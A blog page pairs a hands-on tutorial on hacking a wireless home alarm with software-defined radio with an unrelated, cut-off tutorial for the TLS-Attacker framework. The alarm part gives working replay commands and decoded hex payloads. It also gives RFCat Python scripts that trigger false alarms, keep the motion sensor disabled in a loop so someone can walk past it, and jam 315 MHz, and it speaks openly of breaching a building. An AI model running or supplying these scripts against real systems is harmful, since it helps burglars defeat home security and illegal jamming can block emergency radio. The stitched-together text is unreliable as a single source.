Tuesday, May 5, 2020

Hacking Everything With RF And Software Defined Radio - Part 1


This will be a Mini Course on Attacking Devices with RF from a hackers perspective


I wanted to learn about hacking devices using radio frequencies(RF) as their communication mechanism , so I looked around the Internet and only found a few scattered tutorials on random things which were either theoretical or narrowly focused. So I bought some hardware and some tools and decided to figure it out myself. The mission was to go from knowing nothing to owning whatever random devices I could find which offer up a good target with multiple avenues of attack and capability for learning.  The devices and tools needed are posted below. As we attack more devices, we will post more info on those devices.
You can follow us online at the following if your really bored:
Twitter: @Ficti0n , GarrGhar
Site: CCLabs.io


Items needed to Follow Along: 

Purchase Target: 

Home Alert System: https://goo.gl/W56Eau
I settled on hacking a home alert system for the first blog, which contained the following Items: 
  • A doorBell
  • Motion Sensors with alarm alerts
  • Door sensors to alert when the door is opened
  • Home Hub Receiver

Purchase Tools Needed: 

HackRF: https://goo.gl/3trM5Q
YardStick: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR


Penetration Testing BrainStorming Session: 

I brainstormed with a friend the following attack avenues for this device: 
  • Ring the doorbell  (Our Hello World) 
  • Trigger the motion sensors
  • Remotely disable the motion sensors
  • Jam frequencies for Denial Of Service 

This blog will cover all of the attacks performed, including code, data captures, so you can follow along even if you don't have all of the exact devices but want to play around with it yourself. These are the the topics covered so you can decide if you want to read further or watch the associated videos linked below. 

  • Using HackRF for RF Replay attacks 
  • Using Yardstick One for Replay attacks 
  • Demodulating and decoding signals for use with RF attacks 
  • Discovering and troubleshooting issues
  • Coding tools in python and RFCat
  • RF Jamming Attacks


Video Series PlayList Associated with this blog: 




Initial Profiling of our Device: 

What does our device do in normal operation?   
Taking a look at all the components, there is a receiving station which sets off alarms based on opening doors, motion from a motion sensor and the pressing of a doorbell.  

How do they Connect?
All of these devices are only connected to each other via wireless, they are not connected to any sort of local network or wires. So they are all communicating in an unknown frequency we need determine before we can start hacking them. 

Determining the Frequency: 
To profile our device for the frequency its transmitting on we can use the FCID located on the back of any of the transmitters. We can do this by going to https://fccid.io/ and typing in the FCID from the back of our device. This will provide data sheets, and test reports which contain the information needed to sniff our devices radio transmissions. This site also contains internal device pictures which are useful if you wanted to try hardware hacking. For example looking for Integrated Circuits(IC) numbers or debug interfaces. In this case we only care about the RF frequencies our device is using which happens to be the 315MHz as show below from the fccid website. 




Replay attacks with HackRF To Trigger / Disable Sensors: 

Armed with the frequency range only and no other information we decided to see if we can just blindly capture and replay a transmissions raw form to perform actions without the legitimate transmitters and without understanding anything. 

Below is a photo of the HackRF One hardware used in the first attack and linked above. 


Install HackRF Software: 

Install on OS X for HackRF is as simple as using Brew install, on Linux use the package manager for your distro: 
  • brew install hackrf
  • Plug in HackRF and type hackrf_info to confirm its working

Our Hello World attack is a simple replay attack of a raw capture to perform a normal operation initiated by HackRF instead of the device. We can perform this attack without understanding anything about the capture and decoding of signals. 

With the HackRF device and 2 simple commands we will capture the transmission and then replay it as if it was from the initial device in its raw format.  The following 2 commands are listed below.  The -r is used to receive and the -t is used to transmit (RX, TX) you will also notice a -R on the transmit command which continuously repeats in TX mode denoted by "Input file end reached. Rewind to beginning" within the transmit output below. We use this in case the first transmission is not seen by the device. The other switches are for gain. 

Simple Replay Commands: 

hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20
hackrf_transfer -t connector.raw -f 315000000 -x 40 -R

By using these commands we can capture the motion sensor transmission and replay it in raw format to create a false alarm, we can also capture the doorbell transmission and trigger an alarm.  Output of the commands needed to do this are shown below. The video associated with this blog shows the audio and visual output from the alarm system as well as a video form of this blog.  

Receive: (Capture Traffic from HackRF): 

Destroy: ficti0n$ sudo hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
call hackrf_set_freq(315000000 Hz/315.000 MHz)
Stop with Ctrl-C
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.004 sec = 19.9 MiB/second
20.2 MiB / 1.005 sec = 20.1 MiB/second
^CCaught signal 2
 5.2 MiB / 0.257 sec = 20.4 MiB/second

Exiting...
Total time: 4.27196 s
hackrf_stop_rx() done
hackrf_close() done
hackrf_exit() done
fclose(fd) done
exit

Transmit: (Trigger alarm from HackRF) 

Destroy: ficti0n$ sudo hackrf_transfer -t connector.raw -f 315000000 -x 40 -R
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
call hackrf_set_freq(315000000 Hz/315.000 MHz)
Stop with Ctrl-C
19.9 MiB / 1.000 sec = 19.9 MiB/second
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.005 sec = 20.1 MiB/second
20.2 MiB / 1.000 sec = 20.2 MiB/second
Input file end reached. Rewind to beginning.
20.2 MiB / 1.005 sec = 20.1 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.000 sec = 20.2 MiB/second
^CCaught signal 2
12.8 MiB / 0.654 sec = 19.7 MiB/second

Exiting...
Total time: 12.68557 s
hackrf_stop_tx() done
hackrf_close() done
hackrf_exit() done
fclose(fd) done
exit

While this is a good POC that we can communicate with the door alert system, this did not provide much of a learning opportunity nor did it drastically reduce the effectiveness of the security system. It only provides false alarms of standard functionality. Lets try doing this the more complicated way by profiling the device a bit more, capturing traffic, reducing the wave patterns to binary, converting to hex and then sending it over another device for a bit more precision and learning opportunity.  This will also open up other attack vectors. This sounds complicated, but honestly its not complicated just a bit tedious to get right at first. 

Further Profiling our Devices Functionality: 

We are easily able to replay functionality when initiating actions ourselves with our HackRF, but what else is going on with the radio transmissions? In order to monitor the transmissions in a very simple way we can use tools such as GQRX with either our HackRF device or an inexpensive SDR Dongle and view the 315MHz radio frequency to see whats happening. 

GQRX Install:

You can grab GQRX from the following location for OSX,  on linux whatever package manager your distro uses should be sufficient for installing GQRX: 

Plug in your SDR dongle of choice (HackRF or RTL-SDR, load up GQRX, and select your device, in this case a cheap 19 dollar RTL SDR: 





Select OK and the interface will load up, I made the following changes.

  • I changed the mode under receiver options on the right hand side to AM for Amplitude modulation.
  • I changed the MHz at the top to 315000000 since that is what we saw on the fccid.io data sheets. 
  • I then hit play and could view the 315 MHz frequency range. 

When triggering any of the transmit devices I saw a spike in the frequency close to the 315 MHz range.  I then held down the doorbell button since this transmit device would just keep replaying over and over while pressed. While this was repeating I dragged the bar to match the frequency exactly. Which was actually roughly 314.991.600 give or take. 



I then triggered the motion sensor and saw a similar spike in frequency, but I also noticed the motion sensor transmitter sends a 2nd transmission after about 6 seconds to shut off the light on the receiver hub that no more motion is happening. A little testing showed this  will disable the alarm from triggering during a limited time period.  

Can we replay the Motion Sensor Turn off?? 
I tried to repeat the simple replay attack of turning off the motion sensor with HackRF, however unless your capture timing is perfect to reduce any extra data the sensor disable is rather spotty and still sometimes triggers an alarm. Even with a short capture the raw file was 40mb in size. If you were to try to breach a building and disable its sensors there is a 50% chance or so the motion sensor will be triggered.  So this is not a sufficient method of disabling the motion sensor alarm. I only want a 100% chance of success if I was to try to bypass a security system.  So we need another technique.  I read online a bit and found something about decoding signal patterns into binary which sounded like a good way to reduce the extra data for a more reliable alarm bypass and decided to start with the simple doorbell as a test due to its ease of use, prior to working with less reliable transmissions based on motion and timing.  



Decoding Signal Patterns for Sending With The YardStick One: 

Below is a picture of the yard Stick tool used in the following attacks


Documented Process: 

Based on my online research in order to capture a signal and retransmit using a yardstick we need to do the following: 

  • Record the transmission with the SDR dongle and GQRX
  • Demodulate and Decode with Audacity into binary (1s & 0s)
  • Convert the Binary to Hex (0x)
  • Replay with YardStick in python and RFCat libraries 

Troubleshooting Extra Steps: 

However I found a few issues with this process and added a few more steps below. I am not trying to pretend everything worked perfectly. I ran into a few problems and these trouble shooting steps fixed the issues I ran into and I will list them below and explain them in this section as we walk through the process: 

  • Record your YardStick Replay with GQRX and adjust the frequency again based on output
  • Compare your transmission waveform to that of the original transmitters waveform to insure your 1's & 0's were calculated properly
  • Add some  padding in form of \x00 to the end of your Hex to make it work. 
  • Adjust the number of times you repeat your transmissions

Record Transmission with GQRX: 

OK so first things first, load your GQRX application and this time hit the record button at the bottom right side prior to triggering the doorbell transmitter. This will save a Wav file you can open in audacity. 

Install Audacity: 

You can download audacity at the following link for OSX as well as other platforms. http://www.audacityteam.org/download/  You should also be able to use your distro's package management to install this tool if it is not found on the site. 

If you open up your wav file and zoom in a little with Command+1 or the zoom icon you should start to see a repeating pattern similar to this: 



We need to decode one of these to trigger the doorbell. So we will need to zoom in a bit further to see a full representation of one of these patterns.  Once we zoom in a bit more we see the following output which is wave form representation of your transmission. The high points are your 1's and the low points are your 0's: 



Decode to binary: 

So the main issue here is how many 1's and how many 0's are in each peak or valley??   Originally I was thinking that it was something like the following formatted in 8 bit bytes, but this left over an extra 1 which seemed odd so I added 7 0's to make it fit correctly.  (Probably incorrect but hey it worked LOLs) 
10111000 10001011 10111000 10001000 10001011 10111011 10000000

What the above binary means is that the first high peek was One 1 in length, the first low peek was One 0 in length and the larger low and high's were Three 111s in length. This seemed reasonable based on how it looks.  

Try converting it yourself, does it look like my representation above? 

Convert to Hex:

In order to send this to the receiver device we will need to convert it to hex. We can convert this to hex easily online at the following URL: 

Or you can use radare2 and easily convert to hex by formatting your input into 8 bit byte segments followed by a "b" for binary as follows and it will spit out some hex values you can then use to reproduce the transmission with the yardstick: 

Destroy:~ ficti0n$ rax2 10111000b 10001011b 10111000b 10001000b 10001011b 10111011b 10000000b
0xb8
0x8b
0xb8
0x88
0x8b
0xbb
0x80

In order to send this with the YardStick you will need to use a python library by the name of RFCat which interfaces with your Yardstick device and can send your Hex data to your receiver.  We can easily do this with python. Even if you do not code it is very simple code to understand.  In order to install RFCat you can do the following on OSX:  (Linux procedures should be the same) 

Install RFCat and Dependencies(libusb, pyusb): 

git clone https://github.com/atlas0fd00m/rfcat.git
cd rfcat/
sudo python setup.py install
cd ../
git clone https://github.com/walac/pyusb.git
cd pyusb/
sudo python setup.py install
easy install pip
pip install libusb
Plug in your device and run the following to verify: 
rfcat -r


Setting up your python Replay Attack: 

First convert our hex from 0xB8 format to \xB8 format and place it in the following code:
Hex Conversion for the python script: 
\xb8\x8b\xb8\x88\x8b\xbb\x80

I provided a few notations under the code to help understanding but its mostly self explanatory: 

#--------Ring the doorbell--------#: 
from rflib import *

d = RfCat()   #1
d.setFreq(315005000)  #2
d.setMdmModulation(MOD_ASK_OOK) #3
d.setMdmDRate(4800) #4 

print "Starting"
d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80"*10) #5
print 'Transmission Complete'

#--------End Code --------#
#1 Creating a RfCat instance
#2 Setting your Frequency to the capture range from your GQRX output
#3 Setting the modulation type to ASK Amplitude shift keying
#4 Setting your capture rate to that of your GQRX capture settings 
#5 Transmit your Hex 10 times

Ring Doorbell with Yardstick (First Attempt): 

Plug your YardStick into the USB port and run the above code. This will send over your command to ring the doorbell. 

Destroy:ficti0n$ python Door.py
Starting
Transmission Complete

However, this will fail and we have no indication as to why it failed. There are no program errors, or Rfcat errors. The only thing I could think is that that we sent the wrong data, meaning we incorrectly decoded the wave into binary. So I tried a bunch of different variations on the original for example the short lows having Two 1's instead of One and all of these failed when sending with the Yardstick. 


Doorbell with Yardstick (TroubleShooting): 

I needed a better way to figure out what was going on. One way to verify what you sent is to send it again with the Yardstick and capture it with your RTL-SDR device in GQRX. You can then compare the pattern we sent with the yardstick, to the original transmission pattern by the transmitter device. 

The first thing you will notice when we capture a Yardstick transmission is the output is missing the nice spacing between each transmission as there was in the original transmission. This output is all mashed together: 




If we keep zooming in we will see a repeating pattering like the following which is our 10 transmissions repeating over and over: 




If we keep zooming in further we can compare the output from the original capture to the new capture and you will notice it pretty much looks the same other then its hard to get the zoom levels exactly the same in the GUI: 






Hmmm ok so the pattern looks correct but the spacing between patterns is smashed together. After a bit of searching online I came across a piece of code which was unrelated to what I was trying to do but sending RF transmissions with \x00\x00\x00 padding at the end of the hex.  This makes sense in the context of our visual representation above being all mashed up. So I tried this and it still failed.  I then doubled it to 6 \x00's and the doorbell went off. So basically we just needed padding. 

Also I should note that you can put as much padding as you want at the end.. I tried as much as 12 \x00 padding elements and the doorbell still went off. I also then tried a few variations of my binary decoding and some of those which were slightly off actually rang the doorbell. So some variance is tolerated at least with this device.  Below is the working code :)   


Our Hello World test is a SUCCESS. But now we need to move on to something that could bypass the security of the device and cause real world issues. 

The following updated code will ring the doorbell using padding: 
#--------Ring the doorbell--------#: 
from rflib import *

d = RfCat()
d.setFreq(315005000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

print ("Starting Transmission")
d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80\x00\x00\x00\x00\x00\x00"*10)
print ("Transmission Complete")
#--------End Code --------#


Disable the Motion Sensor with No Motion Feature:

Ok so originally our simple HackRF replay had about a 50% success rate on turning off the motion sensor due to extraneous data in the transmission replay and timing issues. Lets see if we can get that to 100% with what we learned about decoding from the doorbell. We will instead decode the signal pattern sent from the transmitter to the receiver when shutting off the alert light, but without extra data. We will send it directly with a Yardstick over and over again and potentially use the devices own functionality to disable itself. This would allow us to walk past the motion sensors without setting off an alert. 
The question is can we take the transmission from the Motion Sensor to the Receiver Hub which says motion has ended and use that to disable the Motion Sensor based on a slight delay between saying "there is no motion" and being ready to alert again and bypass the motion sensors security.  Lets give it a try by capturing the "motion has ended" transmission with GQRX when the motion sensor sends its packet to the receiver 6 seconds after initial alert and decode the pattern.. 

Below is a screenshot of the "Motion has ended) transmission in audacity: 



So this sequence was a bit different, there was an opening sequence followed by a repeating sequence.  Lets decode both of these patterns and then determine what we need to send in order to affect the devices motion turnoff functionality.  Below is the zoomed in version of the opening sequence and repeating sequence followed by an estimation of what I think the conversion is. 




The opening sequence appears to have all the highs in single 1's format and most of the lows in 3 000's format, below is the exact conversion that I came up with adding some 0's at the end to make the correct byte length… 

See what you can come up with,  does it match what I have below? 

10001000 10100010 10001010 00101000 10101000 10001010 00101000 10100000

If we convert that to hex we get the following: 
Destroy:ficti0n$ rax2 10001000b 10100010b 10001010b 00101000b 10101000b 10001010b 00101000b 10100000b
0x88
0xa2
0x8a
0x28
0xa8
0x8a
0x28
0xa0

Hex Conversion for the python script: 
\x88\xa2\x8a\x28\xa8\x8a\x28\xa0


Next up is our repeating pattern which has a similar but slightly different structure then the opening pattern. This one starts with a 101 instead of 1000 but still seems to have all of its 1's in single representations and most of its lows in sets of 3 000's. Below the screenshot is the the binary I came up with.. Write it out and see if you get the same thing? 




Repeating Pattern:
10100010 10100010 10001000 10100010 10001010 00101000 10101000 10100010 10001010 00101000

Hex Conversion:  (Used the online tool, R2 didn't like this binary for some reason) 
\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28

Testing / Troubleshooting: 

I first tried sending only the repeating sequence under the assumption the opening sequence was a fluke but that did not work. 
I then tried sending only the opening sequence and that didn't work either.  
I combined the first part with a repeating 2nd part for 10 iterations 
The alert light immediately turned off on the device when testing from an alerting state, and from all states stopped alerting completely
Note(My light no longer turns off, I think I broke it or something LOL, or my setup at the time was different to current testing) 

In order to send the first part and the second part we need to send it so that we have padding between each sequence and in a way that only the second part repeats, we can do that the following way: 
d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)

The above is very simple, to explain:

  • First add in your opening patterns HEX values
  • Pad that with 6 \x00 for spacing
  • Add the second patterns HEX values and add that with 6 \x00
  • Now multiply the second part by 10 since in the wave output this part was repeating

Below is the full code to do this, it is the same as the doorbell code with the new line from above and a While 1 loop that never stops so that the device is fully disabled using its own functionality against it :)  
SUCCESS

As a quick test if you intentionally trip the sensor and immediately send this code the BEEP BEEP BEEP will be cut short to a single BEEP also the light may turn off depending how its configured. In all cases the motion sensor capability will be disabled. If you turn this script on at any time the sensor is completely disabled until you stop your transmission:

#--------Disable The Motion Sensor --------#: 
from rflib import *

d = RfCat()
d.setFreq(315005000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

while 1:  #Added a loop to keep the sensor disabled
print ("Starting Transmission")
d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)
print ("Transmission Complete")
#--------End Code --------#




Jamming RF With Python: 

Bypassing the sensors worked, but then I got thinking, so what if the company puts out a new patch and I am no longer able to turn off the sensors by using the devices functionality against itself? Or what if I wanted to bypass the door alert when the door is opened and it breaks the connection?  The door alert does not have a disable signal sent back to the receiver, it always alerts when separated. 

RF Jamming and the FCC: 

One way we can do this is with RF Jamming attacks. However, it should be noted that Jamming is technically ILLEGAL in the US on all frequencies. So in order to test this in a Legal way you will need a walk in Faraday cage to place your equipment and do some testing. This way you will not interfere with the operation of other devices on the frequency that you are jamming. 


From the FCC: https://apps.fcc.gov/edocs_public/attachmatch/DA-12-1642A1.pdf

"We caution consumers that it is against the law to use a cell or GPS jammer or any other type of device that blocks, jams or interferes with authorized communications, as well as to import, advertise, sell, or ship such a device. The FCC Enforcement Bureau has a zero tolerance policy in this area and will take aggressive action against violators. "


Notes On the reality of Criminals: 

It should also be noted that if a criminal is trying to break into your house or a building protected by an alert system that uses wireless technologies, he is probably not following FCC guidelines. So assume if you can attack your alarm system in the safety of a Faraday cage.  Your alarm system is vulnerable to attack by any criminal. A fair assumption when penetration testing an alarm system your considering for install.  You may want devices which are hardwired in as a backup. 

There has always been Jammers for things like Cellphones, WiFi networks. With the introduction of affordable software defined radio devices an attacker can jam the 315 frequency to disable your alert system as a viable attack.  A simple python script can kill a device in the 315 range and make it in-operable. 

Jamming in Python: 

I found the below script to be 100% effective while testing within a Faraday enclosure. Basically  the device pauses in its current operational state, idle state or a alert light state, the device will remain in that state indefinitely until the jamming attack is stopped and the devices are manually reset.

Use a Faraday cage for your security testing: 

If you use the below code make sure you use precautions such as Faraday cages to ensure the legal guidelines are met and you are not interfering with other devices in your area. You must assume that radios used by police, fire departments and other public safety activities could be blocked if you are not enclosing your signal. This code is purely for you to test your devices before installing them for the security of your assets. 

I call the below program RF_EMP,  not because its sending an electronic pulse but because similar to an EMP its disabling all devices in its range.  Which is why you need to use a Faraday cage so as not to interfere with devices you do not own. 
Below is a simple manually configurable version of this script. 


#--------RF_Emp.py Simple Version --------#: 

# For use within Faraday Enclosures only
from rflib import *

print "Start RF Jamming FTW"
d = RfCat()
d.setMdmModulation(MOD_ASK_OOK)
d.setFreq(315000000)
d.setMdmSyncMode(0)
d.setMdmDRate(4800)
d.setMdmChanSpc(24000)
d.setModeIDLE()
d.setPower(100)
d.makePktFLEN(0)

print "Starting JAM Session,  Make sure your in your Faraday Enclosure..."
d.setModeTX() # start transmitting
raw_input("Unplug to stop jamming")
print 'done'
d.setModeIDLE() # This puts the YardStick in idle mode to stop jamming (Not convinced this works)
#--------End Code --------#

Notes on using Virtual Machines: 


You can do your RF testing on a virtual machine with pre-installed tools but its kind of sketchy and you might want to throw your Yardstick against the wall in a fury of anger when you have to unplug it after every transmission. After a few fits of blind rage I decided to install it natively so my tools work every time without removing the dongle after each transmission. 

Whats next: 

This is it for the first blog..  Other topics  will be discussed later, such as attacking devices in a blackbox assessment and configuring your own key fobs. Rolling code devices and bypassing their protections. Monitoring and attacking car components. If you have anything to add or would like to help out.. Feel free to comment and add to the discussion. 

More information


Playing With TLS-Attacker

In the last two years, we changed the TLS-Attacker Project quite a lot but kept silent about most changes we implemented. Since we do not have so much time to keep up with the documentation (we are researchers and not developers in the end), we thought about creating a small series on some of our recent changes to the project on this blog.


We hope this gives you an idea on how to use the most recent version (TLS-Attacker 2.8). If you feel like you found a bug, don't hesitate to contact me via GitHub/Mail/Twitter. This post assumes that you have some idea what this is all about. If you have no idea, checkout the original paper from Juraj or our project on GitHub.

TLDR: TLS-Attacker is a framework which allows you to send arbitrary protocol flows.


Quickstart:
# Install & Use Java JDK 8
$ sudo apt-get install maven
$ git clone https://github.com/RUB-NDS/TLS-Attacker
$ cd TLS-Attacker
$ mvn clean package

So, what changed since the release of the original paper in 2016? Quite a lot! We discovered that we could make the framework much more powerful by adding some new concepts to the code which I want to show you now.

Action System

In the first Version of TLS-Attacker (1.x), WorkflowTraces looked like this:
Although this design looks straight forward, it lacks flexibility. In this design, a WorkflowTrace is basically a list of messages. Each message is annotated with a <messageIssuer>, to tell TLS-Attacker that it should either try to receive this message or send it itself. If you now want to support more advanced workflows, for example for renegotiation or session resumption, TLS-Attacker will soon reach its limits. There is also a missing angle for fuzzing purposes. TLS-Attacker will by default try to use the correct parameters for the message creation, and then apply the modifications afterward. But what if we want to manipulate parameters of the connection which influence the creation of messages? This was not possible in the old version, therefore, we created our action system. With this action system, a WorkflowTrace does not only consist of a list of messages but a list of actions. The most basic actions are the Send- and ReceiveAction. These actions allow you to basically recreate the previous behavior of TLS-Attacker 1.x . Here is an example to show how the same workflow would look like in the newest TLS-Attacker version:


As you can see, the <messageIssuer> tags are gone. Instead, you now indicate with the type of action how you want to deal with the message. Another important thing: TLS-Attacker uses WorkflowTraces as an input as well as an output format. In the old version, once a WorkflowTrace was executed it was hard to see what actually happened. Especially, if you specify what messages you expect to receive. In the old version, your WorkflowTrace could change during execution. This was very confusing and we, therefore, changed the way the receiving of messages works. The ReceiveAction has a list of <expectedMessages>. You can specify what you expect the other party to do. This is mostly interesting for performance tricks (more on that in another post), but can also be used to validate that your workflow executedAsPlanned. Once you execute your ReceiveAction an additional <messages> tag will pop up in the ReceiveAction to show you what has actually been observed. Your original WorkflowTrace stays intact.


During the execution, TLS-Attacker will execute the actions one after the other. There are specific configuration options with which you can control what TLS-Attacker should do in the case of an error. By default, TLS-Attacker will never stop, and just execute whatever is next.

Configs

As you might have seen the <messageIssuer> tags are not the only thing which is missing. Additionally, the cipher suites, compression algorithms, point formats, and supported curves are missing. This is no coincidence. A big change in TLS-Attacker 2.x is the separation of the WorkflowTrace from the parameter configuration and the context. To explain how this works I have to talk about how the new TLS-Attacker version creates messages. Per default, the WorkflowTrace does not contain the actual contents of the messages. But let us step into TLS-Attackers point of view. For example, what should TLS-Attacker do with the following WorkflowTrace:

Usually, the RSAClientKeyExchange message is constructed with the public key from the received certificate message. But in this WorkflowTrace, we did not receive a certificate message yet. So what public key are we supposed to use? The previous version had "some" key hardcoded. The new version does not have these default values hardcoded but allows you as the user to define the default values for missing values, or how our own messages should be created. For this purpose, we introduced the new concept of Configs. A Config is a file/class which you can provide to TLS-Attacker in addition to a WorkflowTrace, to define how TLS-Attacker should behave, and how TLS-Attacker should create its messages (even in the absence of needed parameters). For this purpose, TLS-Attacker has a default Config, with all the known hardcoded values. It is basically a long list of possible parameters and configuration options. We chose sane values for most things, but you might have other ideas on how to do things. You can execute a WorkflowTrace with a specific config. The provided Config will then overwrite all existing default values with your specified values. If you do not specify a certain value, the default value will be used. I will get back to how Configs work, once we played a little bit with TLS-Attacker.

TLS-Attacker ships with a few example applications (found in the "apps/" folder after you built the project). While TLS-Attacker 1.x was mostly a standalone tool, we currently see TLS-Attacker more as a library which we can use by our more sophisticated projects. The current example applications are:
  • TLS-Client (A TLS-Client to execute WorkflowTraces with)
  • TLS-Server (A TLS-Server to execute WorkflowTraces with)
  • Attacks (We'll talk about this in another blog post)
  • TLS-Forensics (We'll talk about this in another blog post)
  • TLS-Mitm (We'll talk about this in another blog post)
  • TraceTool (We'll talk about this in another blog post) 

TLS-Client

The TLS-Client is a simple TLS-Client. Per default, it executes a handshake for the default selected cipher suite (RSA). The only mandatory parameter is the server you want to connect to (-connect).

The most trivial command you can start it with is:

Note: The example tool does not like "https://" or other protocol information. Just provide a hostname and port

Depending on the host you chose your output might look like this:

or like this:

So what is going on here? Let's start with the first execution. As I already mentioned. TLS-Attacker constructs the default WorkflowTrace based on the default selected cipher suite. When you run the client, the WorkflowExecutor (part of TLS-Attacker which is responsible for the execution of a WorkflowTrace) will try to execute the handshake. For this purpose, it will first start the TCP connection.
This is what you see here:

After that, it will execute the actions specified in the default WorkflowTrace. The default WorkflowTrace looks something like this:
This is basically what you see in the console output. The first action which gets executed is the SendAction with the ClientHello.

Then, we expect to receive messages. Since we want to be an RSA handshake, we do not expect a ServerKeyExchange message, but only want a ServerHello, Certificate and a ServerHelloDone message.

We then execute the second SendAction:

and finally, we want to receive a ChangeCipherSpec and Finished Message:

In the first execution, these steps all seem to have worked. But why did they fail in the second execution? The reason is that our default Config does not only allow specify RSA cipher suites but creates ClientHello messages which also contain elliptic curve cipher suites. Depending on the server you are testing with, the server will either select and RSA cipher suite, or an elliptic curve one. This means, that the WorkflowTrace will not executeAsPlanned. The server will send an additional ECDHEServerKeyExchange. If we would look at the details of the ServerHello message we would also see that an (ephemeral) elliptic curve cipher suite is selected:

Since our WorkflowTrace is configured to send an RSAClientKeyExchange message next, it will just do that:

Note: ClientKeyExchangeMessage all have the same type field, but are implemented inside of TLS-Attacker as different messages

Since this RSAClientKeyExchange does not make a lot of sense for the server, it rejects this message with a DECODE_ERROR alert:

If we would change the Config of TLS-Attacker, we could change the way our ClientHello is constructed. If we specify only RSA cipher suites, the server has no choice but to select an RSA one (or immediately terminate the connection). We added command line flags for the most common Config changes. Let's try to change the default cipher suite to TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:

As you can see, we now executed a complete ephemeral elliptic curve handshake. This is, because the -cipher flag changed the <defaultSelectedCiphersuite> parameter (among others) in the Config. Based on this parameter the default WorkflowTrace is constructed. If you want, you can specify multiple cipher suites at once, by seperating them with a comma.

We can do the same change by supplying TLS-Attacker with a custom Config via XML. To this we need to create a new file (I will name it config.xml) like this:

You can then load the Config with the -config flag:

For a complete reference of the supported Config options, you can check out the default_config.xml. Most Config options should be self-explanatory, for others, you might want to check where and how they are used in the code (sorry).

Now let's try to execute an arbitrary WorkflowTrace. To do this, we need to store our WorkflowTrace in a file and load it with the -workflow_input parameter. I just created the following WorkflowTrace:


As you can see I just send a ServerHello message instead of a ClientHello message at the beginning of the handshake. This should obviously never happen but let's see how the tested server reacts to this.
We can execute the workflow with the following command:

The server (correctly) responded with an UNEXPECTED_MESSAGE alert. Great!

Output parameters & Modifications

You are now familiar with the most basic concepts of TLS-Attacker, so let's dive into other things TLS-Attacker can do for you. As a TLS-Attacker user, you are sometimes interested in the actual values which are used during a WorkflowTrace execution. For this purpose, we introduced the -workflow_output flag. With this parameter, you can ask TLS-Attacker to store the executed WorkflowTrace with all its values in a file.
Let's try to execute our last created WorkflowTrace, and store the output WorkflowTrace in the file out.xml:


The resulting WorkflowTrace looks like this:

As you can see, although the input WorkflowTrace was very short, the output trace is quite noisy. TLS-Attacker will display all its intermediate values and modification points (this is where the modifiable variable concept becomes interesting). You can also execute the output workflow again.


Note that at this point there is a common misunderstanding: TLS-Attacker will reset the WorkflowTrace before it executes it again. This means, it will delete all intermediate values you see in the WorkflowTrace and recompute them dynamically. This means that if you change a value within <originalValue> tags, your changes will just be ignored. If you want to influence the values TLS-Attacker uses, you either have to manipulate the Config (as already shown) or apply modifications to TLS-Attackers ModifiableVariables. The concept of ModifiableVariables is mostly unchanged to the previous version, but we will show you how to do this real quick anyway.

So let us imagine we want to manipulate a value in the WorkflowTrace using a ModifiableVariable via XML. First, we have to select a field which we want to manipulate. I will choose the protocol version field in the ServerHello message we sent. In the WorkflowTrace this looked like this:

For historical reasons, 0x0303 means TLS 1.2. 0x0300 was SSL 3. When they introduced TLS 1.0 they chose 0x0301 and since then they just upgraded the minor version.

In order to manipulate this ModifiableVariable, we first need to know its type. In some cases it is currently non-trivial to determine the exact type, this is mostly undocumented (sorry). If you don't know the exact type of a field you currently have to look at the code. The following types and modifications are defined:
  • ModifiableBigInteger: add, explicitValue, shiftLeft, shiftRight, subtract, xor
  • ModifiableBoolean: explicitValue, toggle
  • ModifiableByteArray: delete, duplicate, explicitValue, insert, shuffle, xor
  • ModifiableInteger: add, explicitValue, shiftLeft, shiftRight, subtract, xor
  • ModifiableLong: add, explicitValue, subtract, xor
  • ModifiableByte: add, explicitValue, subtract, xor
  • ModifiableString: explicitValue
As a rule of thumb: If the value is only up to 1 byte of length we use a ModifiableByte. If the value is up to 4 bytes of length, but the values are used as a normal number (for example in length fields) it is a ModifiableInteger. Fields which are used as a number which are bigger than 4 bytes (for example a modulus) is usually a ModifiableBigInteger. Most other types are encoded as ModifiableByteArrays. The other types are very rare (we are currently working on making this whole process more transparent).
Once you have found your type you have to select a modification to apply to it. For manual analysis, the most common modifications are the XOR modification and the explicit value modification. However, during fuzzing other modifications might be useful as well. Often times you just want to flip a bit and see how the server responds, or you want to directly overwrite a value. In this example, we want to overwrite a value.
Let us force TLS-Attacker to send the version 0x3A3A. To do this I consult the ModifiableVariable README.md for the exact syntax. Since <protocolVersion> is a ModifiableByteArray I search in the ByteArray section.

I find the following snippet:

If I now want to change the value to 0x3A3A I modify my WorkflowTrace like this:

You can then execute the WorkflowTrace with:

With Wireshark you can now observe  that the protocol version got actually changed. You would also see the change if you would specify a -workflow_output or if you start the TLS-Client with the -debug flag.

More Actions

As I already hinted, TLS-Attacker has more actions to offer than just a basic Send- and ReceiveAction (50+ in total). The most useful, and easiest to understand actions are now introduced:

ActivateEncryptionAction

This action does basically what the CCS message does. It activates the currently "negotiated" parameters. If necessary values are missing in the context of the connection, they are drawn from the Config.


DeactivateEncryptionAction

This action does the opposite. If the encryption was active, we now send unencrypted again.


PrintLastHandledApplicationDataAction

Prints the last application data message either sent or received.


PrintProposedExtensionsAction

